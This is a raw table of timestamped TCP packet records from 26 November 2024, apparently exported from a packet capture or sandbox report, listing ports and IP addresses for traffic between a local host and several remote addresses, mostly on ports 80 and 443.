Nov 26, 2024 16:31:47.501389027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.501399994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.501421928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.501446009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.503092051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.503142118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.503988028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.503999949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.504031897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.504061937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.505429029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.505441904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.505481958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.505496025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.507047892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.507060051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.507102966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.508707047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.508719921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.508729935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.508764982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.508801937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.518464088 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.518491983 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.518573999 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.518590927 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.518604040 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.518646955 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.584125042 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.584152937 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.584213972 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.584228992 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.584270000 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.584342003 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.617901087 CET	443	49880	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.619188070 CET	49880	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.619211912 CET	443	49880	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.619853973 CET	49880	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.619859934 CET	443	49880	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.636079073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.636148930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.637491941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.637558937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.638936043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.638947010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.638998985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.640266895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.640542030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.641500950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.641551971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.642796993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.642846107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.645474911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.645488024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.645567894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.647020102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.647034883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.647077084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.649796963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.649846077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.650988102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.651004076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.651042938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.651057005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.652245998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.652344942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.653951883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.654025078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.655653954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.655724049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.656857967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.656869888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.656933069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.659084082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.659138918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.659691095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.659740925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.660887003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.660936117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.661981106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.662036896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.662107944 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.662134886 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.662220001 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.662220001 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.662230015 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.662280083 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.663119078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.663131952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.663166046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.663180113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.665882111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.665896893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.665939093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.665960073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.667352915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.667397976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.668570042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.669938087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.671323061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.671442986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.672904015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.672919035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.672960997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.674447060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.674474001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.674487114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.674524069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.674550056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.674576998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.678941965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.678956032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.679120064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.684495926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.684576035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.686713934 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:47.686758995 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:47.686845064 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:47.687060118 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:47.687077999 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:47.731362104 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.731388092 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.731475115 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.731488943 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.731566906 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.731597900 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.795149088 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.795810938 CET	49881	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.795842886 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.796356916 CET	49881	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.796363115 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.804991961 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.805022001 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.805176020 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.805191040 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.805349112 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.815186024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.815201044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.815310955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.816704035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.816836119 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.818142891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.818159103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.818267107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.819287062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.819300890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.819350004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.820842981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.820919991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.823508978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.823519945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.823605061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.824835062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.824847937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.824927092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.826282978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.826297998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.826349974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.827847004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.829348087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.829360962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.829425097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.830645084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.831043959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.832710981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.832725048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.832787991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.834256887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.834276915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.834286928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.834332943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.835623980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.835656881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.835737944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.836935043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.836947918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.837023020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.838103056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.838242054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.839226007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.839308977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.840516090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.840596914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.841725111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.841736078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.841820955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.842943907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.842962980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.843040943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.844079971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.844091892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.844161987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.845263958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.845277071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.845370054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.846363068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.846374035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.846385002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.846443892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.846487999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.847645998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.847660065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.847738028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.848958969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.848970890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.849031925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.850620031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.850631952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.850699902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.851815939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.851828098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.851839066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.851897955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.851924896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.853477001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.853488922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.853559017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.854685068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.854696035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.855102062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.855855942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.855868101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.855988979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.857292891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.857305050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.857575893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.858566046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.858577967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.858588934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.858623981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.858686924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.859848022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.859859943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.859900951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.861375093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.861438036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.862026930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.862040043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.862090111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.863758087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.863770962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.863825083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.864871025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.864883900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.864895105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.864928961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.864969969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.866322994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.866334915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.866378069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.866405010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.919430971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.919462919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.919472933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.919523954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.919575930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.920772076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.920835972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.920914888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.922454119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.922542095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.922873974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.922960043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.925604105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.925616026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.925685883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.928173065 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.928205013 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.928349972 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.928361893 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.929320097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.929332018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.929434061 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.930200100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.932204962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.932281971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.933759928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.933772087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.933845997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.935355902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.935442924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.936631918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.936642885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.936707973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.937939882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.937958002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.938033104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.940670967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.940682888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.940984964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.944273949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.944380045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.945528030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.945915937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.946810007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.948443890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.948766947 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.949920893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.949934006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.950380087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.951376915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.951392889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.951457024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.951602936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.954734087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.954749107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.954780102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.954801083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.956073046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.956099987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.956160069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.958746910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.958867073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.134689093 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.134715080 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.134723902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134736061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134742022 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.134747982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134753942 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.134757042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134768963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134779930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134792089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134802103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134809017 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.134813070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134814978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.134824038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134835005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134845972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134856939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.134860039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134866953 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.134872913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134880066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.134884119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134896040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134902000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.134912014 CET	80	49809	185.215.113.206	192.168.2.6
